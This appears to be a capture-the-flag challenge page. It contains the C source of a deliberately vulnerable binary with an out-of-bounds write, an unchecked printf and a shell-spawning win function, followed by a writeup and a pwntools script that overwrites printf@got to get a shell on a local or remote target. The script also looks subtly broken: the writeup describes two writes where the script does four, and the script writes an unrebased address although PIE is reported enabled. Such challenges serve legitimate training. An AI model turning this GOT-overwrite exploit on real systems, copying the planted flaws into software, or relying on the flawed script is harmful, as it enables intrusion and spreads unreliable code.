0x00000000
← pwndbg> back

./MOJO_LAB_

PWN MOJO-JOJO CTF 0xc199e3d4 by r3t0x"
DESCRIPTION
DISASM // SOURCE
// main.c
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>

/* 
   MOJO JOJO'S LAZY LAB
   "I Mojo Jojo shall defeat the Powerpuff Girls with my Lazy Linker!"
*/

// Global buffers
char chemical_x[100];
long dna_sequences[10];

void lab_win() {
    const char *msg = "\n[MOJO JOJO]: NOOOOO! You have compromised my laboratory!\n";
    write(1, msg, strlen(msg));
    system("/bin/sh");
    exit(0);
}

void setup() {
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);
    setvbuf(stderr, NULL, _IONBF, 0);
}

void print_str(const char *s) {
    write(1, s, strlen(s));
}

void banner() {
    print_str("        _---_        \n");
    print_str("       /     \\      \n");
    print_str("      | () () |     \n");
    print_str("       \\  ^  /      \n");
    print_str("        |||||       \n");
    print_str("      /-------\\     \n");
    print_str("     | MOJO JO |    \n");
    print_str("     |   LAB   |    \n");
    print_str("      \\_______/     \n");
    print_str("\n[MOJO JOJO]: Welcome to my secret laboratory!\n");
    print_str("I, Mojo Jojo, am the most brilliant monkey in the world!\n\n");
}

int get_input() {
    char buf[16];
    if (fgets(buf, sizeof(buf), stdin) == NULL) exit(0);
    return atoi(buf);
}

int main() {
    setup();
    banner();
    
    print_str("[LAB-SCANNER]: Input your Chemical X formula: ");
    if (fgets(chemical_x, sizeof(chemical_x), stdin) == NULL) exit(0);
    
    if (strchr(chemical_x, '%')) {
        print_str("[MOJO JOJO]: CURSES! Powerpuff Girls trickery detected!\n");
        exit(1);
    }

    while(1) {
        print_str("\n--- Laboratory Terminal ---\n");
        print_str("1. Modify DNA Sequence\n");
        print_str("2. Synthesize Chemical X\n");
        print_str("3. Abandon Laboratory\n");
        print_str("> ");
        
        int choice = get_input();
        
        if (choice == 1) { // DNA Modification (OOB Write)
            print_str("DNA Slot Index: ");
            int idx = get_input();
            print_str("Base Pair Value: ");
            int val = get_input();
            
            unsigned short *modifier = (unsigned short*)dna_sequences;
            // The Monkey Math: XOR the index to hide the target
            modifier[idx ^ 0x7050] = (unsigned short)val;
            
            print_str("[LAB]: DNA sequence updated successfully.\n");
        } 
        else if (choice == 2) { // Synthesis (Echo/Printf)
            print_str("[SYNTHESIZER]: Processing formula: ");
            // This is where the GOT overwrite pays off.
            // Using printf here ensures the exploit only triggers when requested.
            printf(chemical_x); 
            print_str("\nSynthesis complete.\n");
        }
        else {
            print_str("[MOJO JOJO]: I shall return! FAREWELL!\n");
            exit(0);
        }
    }
    return 0;
}
WRITEUP // WALKTHROUGH

MOJO LAB — Writeup

Challenge Overview

Field Value
Category PWN
Difficulty Hard
Author r3t0x
Technique OOB Write + GOT Overwrite

Reconnaissance

pwndbg> checksec ./main
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled

Vulnerabilities

1. OOB Write via XOR Index

modifier[idx ^ 0x7050] = (unsigned short)val;

The index is XOR'd with 0x7050 before use. By choosing idx carefully, we can write a 16-bit value anywhere relative to dna_sequences — including the GOT.

2. Format String in Chemical X

printf(chemical_x);  // controlled input!

The '%' character is filtered from chemical_x, but the OOB write lets us overwrite GOT entries (e.g., printf@got → lab_win).

Strategy

  1. Calculate the offset from dna_sequences to printf@got
  2. XOR that index with 0x7050 to get the required input index
  3. Use two 16-bit writes to overwrite printf@got with lab_win
  4. Trigger option 2 ("Synthesize Chemical X") → calls printf(chemical_x) → now jumps to lab_win()
  5. lab_win() calls system("/bin/sh")

Result

[MOJO JOJO]: NOOOOO! You have compromised my laboratory!
$ cat flag.txt
MOJO-JOJO{m0j0_l4b_0wn3d}
EXECUTION // EXPLOIT
$ python3 solve.py
from pwn import *
import sys

# Set context
context.binary = binary = ELF('./main')
context.log_level = 'info'

if args.REMOTE:
    host = args.HOST or '4.233.210.175'
    port = int(args.PORT or 9007)
    p = remote(host, port)
else:
    p = process('./main')

def get_menu():
    p.recvuntil(b'> ')

def write_val(idx, val):
    get_menu()
    p.sendline(b'1') # Modify DNA Sequence
    p.recvuntil(b'DNA Slot Index: ')
    # The Monkey Math: inverse the XOR to hit the target
    p.sendline(str(idx ^ 0x7050).encode())
    p.recvuntil(b'Base Pair Value: ')
    p.sendline(str(val).encode())
    p.recvuntil(b'[LAB]: DNA sequence updated successfully.\n')

def trigger():
    get_menu()
    p.sendline(b'2') # Synthesize Chemical X

# Exploit Logic
# 1. Target: printf@GOT
# 2. Value: lab_win() address
# 3. Primitive: 2-byte write via 'unsigned short' array

# Note: In the new main.c, global names are chemical_x and dna_sequences
got_printf = binary.got['printf']
sym_dna = binary.symbols['dna_sequences']
sym_win = binary.symbols['lab_win']

log.info(f"printf@GOT: {hex(got_printf)}")
log.info(f"dna_sequences: {hex(sym_dna)}")
log.info(f"lab_win: {hex(sym_win)}")

# Calculate start index
# dna_sequences + i * 2 = got_printf => i = (got_printf - dna_sequences) / 2
idx_start = (got_printf - sym_dna) // 2
log.info(f"Index start: {idx_start}")

chunks = [
    (sym_win >> 0) & 0xFFFF,
    (sym_win >> 16) & 0xFFFF,
    (sym_win >> 32) & 0xFFFF,
    (sym_win >> 48) & 0xFFFF
]

p.recvuntil(b'Input your Chemical X formula: ')
p.sendline(b"HELLO-MOJO") # Initial formula

for i, chunk in enumerate(chunks):
    log.info(f"Writing chunk {i}: {hex(chunk)} at idx {idx_start + i}")
    write_val(idx_start + i, chunk)

log.info("Triggering synthesized formula...")
trigger()

p.interactive()